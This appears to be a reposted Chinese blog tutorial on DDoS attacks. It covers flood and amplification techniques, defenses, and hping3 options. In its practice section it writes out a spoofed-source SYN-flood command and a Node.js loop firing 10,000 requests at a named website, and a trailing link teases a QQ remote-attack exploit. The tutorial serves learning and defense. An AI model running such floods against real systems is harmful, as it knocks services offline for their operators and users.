网络安全——DDOS攻击

news/2024/11/17 3:30:44/

DDOS攻击

      • 1.引言
      • 2.什么是DDOS?
      • 3.DDOS的攻击原理
      • 4.DDOS的防御手段
      • 5.什么是hping3?
      • 6.实践验证
      • 7.参考文献

1.引言

    讲个笑话:手中没有剑,和有剑不用是两种事,因此这里特地学了一下DDOS攻击。使用的工具主要事kali机中的hping3,网安实在是太神奇了,有很多牛逼的工具,但是由于时间有限,所以这里就只学一下hping3,本着能够完成攻击机的任务的目的来学习的。

2.什么是DDOS?

    首先需要明白DDOS是从DOS的基础上发展而来的,有一台电脑对另一台电脑的攻击变成了多台电脑对一台电脑的攻击,知乎上有很多有趣的比喻,有兴趣的可以去搜搜。Dos是一种拒绝服务(Denial of Service),DDos是一种分布式拒绝服务(Distributed Denial of Service),举个形象的例子就是:作为带恶霸的你看某个餐馆不爽,喊了1000个人去一个只能容纳500人同时就餐的餐馆,而这时你喊去的1000人不进行任何消费,其他想就餐的正常顾客也不能就餐。在互联网上DDOS攻击暴力而非常有效。表现为:你通过大量的数据包和目标服务器建立连接,占用目标服务器的带宽,导致目标服务器无法再去为正常的用户提供服务,表现为服务器炸了,如果是阿里云,当DDos攻击达到一定量,会触发阿里云服务器提供的“防御措施”,服务器直接被冻结,这也是本地写博问的终极目标(当然,攻击的是自己的服务器)。

3.DDOS的攻击原理

    这里的攻击原理主要来自于(B站的Ele实验室(DDoS技术鉴赏)),讲的是非常的精彩,总结如下:
(1)传输原理,TCP/IP的四层结构:应用层(固定数据包的格式)、传输层(规定传输方式,比如是否需要进行加急处理,经典的三次握手就发生在这里)、互联网层(具体的数据包传送)、子网层(具体的各种硬件载体,比如卫星网,以太网等)。
补充说明一下这个经典的三次握手:

发送方(first)客户端
SYN1
ACK0
顺序号x
确认号
发送方(second)服务端
SYN1
ACK1
顺序号y
确认号x+1
发送方(third)客户端
SYN0
ACK1
顺序号x+1
确认号y+1

(2)ICMP洪水,一直发送ping测试的ICMP数据包,拿自己的带宽换目标服务器的带宽;
(3)UDP洪水,UDP会暴露ip地址,UDP攻击中可能会涉及代理或者伪造他人ip地址,就形成了反射攻击,将目标地址(目标服务器)写清楚,接受地址写成广大的网络ip,也就是让这些ip去中转。
(4)上面的这两种攻击被形象称为,伤敌1000,自损800。放大攻击,一般可以利用多种网络传输过程实现:
    a.DNS服务器,DNS服务器的原理是,拿到域名换成带有ip信息的数据包(通常向DNS请求的数据包远小于查询结果的含ip信息数据包,参考数据:50倍),如果将DNS查询地址改成目标服务器,那就是帮他向DNS服务器使用域名换ip操作。直接将攻击放大了50被。
    b.TCP洪水,服务端中有一个TCP维护表,用来记录已经经过三次握手建立连接的连接数据,这个数据表记录数量有上限,占满之后无法响应之后的TCP请求,但不能伪造ip,否则3次握手不成功,可以直接发了第一次TCP握手包不管,然后基于重传机制,服务端会会一直向客户端发多次响应包直到出现超时,也算是放大方式。
    c.RST洪水,在TCP协议中使用4次挥手结束连接,还可以由一方使用RST数据(带有断开连接发起方的ip地址)强制断开连接,这样作为攻击方就能直接发送RST数据盲打,导致正常使用的用户与服务端断开连接。
    d.基于应用层的代理攻击,原理很好理解,比如搜索一个关键字,但是实际上服务端要做的任务是比较多的,包括查库匹配等,这样如果一下子直接请求大量的查询接口,让服务器吃不消,使用代理是因为一般接口还是基于tcp的需要握手,也就是ip会暴露,所以使用代理。

4.DDOS的防御手段

(1)网络设备ip过滤,在传输的时候每个路由器只传输属于本网段的数据,如果不是本网段的数据,不予以再次发送,这样就能够有效处理ip伪造。
(2)分布式过滤,由于很多路由器是固定的,因此在传输的时候一般数据的传输过程比较固定,如果如果经过了某个不常用的路由节点,说明这个数据包很可能是伪造的。
(3)前两者涉及运营商和开发者等,很难实现,成本比较高。还有一种利用CDN方法,用户请求数据的时候总会请求更近的CDN服务器数据,减少了对中央服务器的压力,对应用层攻击相对有效。
(4)流量清洗,主要为了在握手阶段筛洗请求连接,主要针对用户伪造ip发送第一个握手包,让服务端白白回了10几次的握手第二截断的握手包,清洗设备参与之后,清晰设备会担任第二阶段握手包的功能,回复客户端第二次握手包,如果客户端回复了,就会将本次连接交给服务器正常通信。在应用层方便,清晰工具能够记录非法IP库,如果数据包来自于非法ip库,将直接断开本次连接。

5.什么是hping3?

    hping (官网链接)是一款 TCP / IP 数据包编辑器/分析器。它支持TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,在覆盖通道之间发送文件的功能以及许多其他功能。内部参数解释如下(因为我不是专业的,所以这里直接搬运了大佬的参数翻译,方便大家更好的理解使用,仅展示常用参数,已在参考文献中说明):

  -A  --ack        set ACK flag   ------------------------------------- (设置 TCP 的 ACK 标志 位)-a  	--spoof      spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。--rand-dest      random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令--rand-source    random source address mode. see the man.       // 随机源地址模式。详细使用 man 命令-c  --count     发送数据包的数目(至于一个数据包多大,后面再来分析)-d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。-i   --interval  发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)--fast      等同 -i u10000 (每秒10个包)--faster    等同 -i u1000 (每秒100个包)--flood	  尽最快发送数据包,不显示回复。-I  --interface 网卡接口 (默认路由接口)-k  --keep       keep still source port     // 保持源端口-n  --numeric   数字化输出,象征性输出主机地址。-p  --destport   [+][+]<port> destination port  // 缺省随机源端口-R  --rst        set RST flag-S  --syn        set SYN flag-s  --baseport   base source port    // 缺省随机源端口-t  --ttl        ttl (默认 64)  //修改 ttl 值,甚至能够用来误导操作系统捕获-w  --win        winsize (default 64)       // win的滑动窗口。windows发送字节(默认64)

6.实践验证

    先拿一个本地搭建的服务器试试水,攻击指令如下:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.109
说明:每次发送10000个握手包,握手包大小为120字节,使用的窗口大小为64,攻击端口为80,随机源地址,目标地址:192.168.0.109。
在这里插入图片描述
    如果攻击失败,可能是每次发送的数据包数量不够或者攻击时间较短,耐心等一段时间(大概30s就崩了)。
    接下来尝试攻击自己的服务器,实践发现攻击自己的阿里云服务器是无效的(从面板上看这数据量完全对不上),之后我去查了一下原因,最后在一篇文章中找到了答案(三分钟了解阿里云和腾讯云的DDoS防御策略):

针对DDoS攻击,阿里云和腾讯云都有相应的政策,阿里云叫黑洞政策,腾讯云叫ip封堵。有些新入门的网友会认为既然买了阿里云或腾讯云的云服务器,那服务商就自然而然应该提供防攻击保护。而实际上服务商也的确提供了保护,只不过
DDoS 防御带宽费用很高,所以,只能是提供一定限额的防攻击保护,超过了就被停止访问了。当然,我们可以通过买付费服务提升保护。

反思攻击失效原因,应该是阿里云服务器做了安全防御,并且我使用的攻击手段又太普遍了。很容易就被防御了,实际到达阿里云服务器的流量几乎没有多少。
但是想攻击也不是不行,只是没有那么高级,这里直接基于应用层接口攻击,连续请求大量的接口是服务器响应不过来(影响是服务器级别的,不针对某个应用):

//node.js写的
const request = require("request");
function launchRequest() {request({//这里暴露了我的网站,请不要恶意攻击,虽然我没有完成对我服务器的攻击,//但是不表示不能攻击,有些地方还是有大佬封装的ddos攻击工具和网站。//我可不想我想鱼皮一样惨,请大佬高抬贵手,学习的目的不是为了去攻打被人,//而是了解原理。让自己手中有剑。url: "https://nightowl.top/index/getSwiperList",method: "GET",json: true,},(err, rep, body) => {if (err) {console.log("完成学习接口调用失败:", err);return false;}if (body.code == 0) {console.log("输出返回数据:", body);}});
}
module.exports = async (ctx) => {for (let i = 0; i < 10000; i++) {launchRequest();}
};

在这里插入图片描述
防御手段:对网站接口请求做延时处理,要求用户请求带上token用于验证并且带上时间戳,用于限制请求频次,当然我这个网站写的比较简陋,加上当时学的东西比较少。

7.参考文献

(1)hping3使用详解


http://www.ppmy.cn/news/568290.html

相关文章

网络工程师笔记——安全攻击类型

1.安全攻击类型 窃取网络上其他计算机的资源或特权、对其安全性或可用性进行破坏网络攻击是以网络为手段的行为。安全攻击依据攻击特征可以分为四类&#xff0c;具体如表所示。 类型攻击的安全要素中断可用性窃取机密性篡改完整性伪造真实性 常见的网络攻击有很多&#xff0c;…

解析两种常见QQ攻击形式以及有效防范措施(转)

让我们先来剖析一下由QQ产生的两种攻击形式&#xff1a;  ?泄漏的网络信息导致攻击 ?QQ也是通过互联网传播信息的&#xff0c;所以它也必须遵循网络的数据包传输方式&#xff0c;既然如此&#xff0c;它的信息包文件也必定包括了本机的网络信息&#xff0c;如此一来&#x…

【防诈骗】QQ账号安全检测工具-腾讯出品

上网有风险 交友需谨慎 如果好友的目的不明确 可以先来账号检测 如有违规 防止诈骗 该小程序由官方出品 可以检测最近的违规行为 同时也能看到别人分享的举报记录等 【防诈骗】QQ账号安全检测工具-腾讯出品 同时还能检测聊天过程中的安装包 防止钓鱼等不安全安装行为 【防诈骗】…

java编译与反编译

参考&#xff1a; Idea 使用技巧记录_source code recreated from a .class file by intell_hresh的博客-CSDN博客 深入理解Java Class文件格式&#xff08;一&#xff09;_昨夜星辰_zhangjg的博客-CSDN博客 实践详解javap命令&#xff08;反编译字节码&#xff09;_天然玩家…

QQ2009、QQ2010、QQ2011远程攻击漏洞,详细使用方法。

http://www.xnni.cn/?p43 最近网上爆出QQ聊天框控件过滤不严的问题&#xff0c;就这个问题&#xff0c;咱就深入研究一下。版本涉及2009以上的所有版本&#xff0c;后果严重&#xff0c;慎用。一、实施效果&#xff01;先来个过瘾的&#xff0c;有图有真相啊。1、下载我做好的…

系统测试工程师

具体职责包括&#xff1a; 1. 理解系统需求和功能&#xff0c;进行需求分析和测试计划制定。 2. 设计测试用例&#xff0c;包括正常流程和异常流程&#xff0c;确保测试覆盖全面。 3. 编写测试脚本&#xff0c;进行自动化测试&#xff0c;提高测试效率和准确性。 4. 执行测…

Zabbix Timeout 设置不当导致的问题

哈喽大家好&#xff0c;我是咸鱼 今天跟大家分享一个关于 zabbix Timeout 值设置不当导致的问题&#xff0c;这个问题不知道大家有没有碰到过 问题 事情经过是这样的&#xff1a; 把某一台 zabbix agent 的模板由原来的 Template OS Windows by Zabbix agent 换成了 Templa…

【MOOC 作业】第2章 应用层

不是标答也不是参考答案 仅从个人理解出发去做题 1、(20分) 什么是持久性连接&#xff1f;什么是非持久性连接&#xff1f;持久性连接与非持久性连接区别如何&#xff1f; 持久性连接&#xff1a;每个请求/响应对都经同一个 TCP 连接发送。非持久性连接&#xff1a;每个请求/…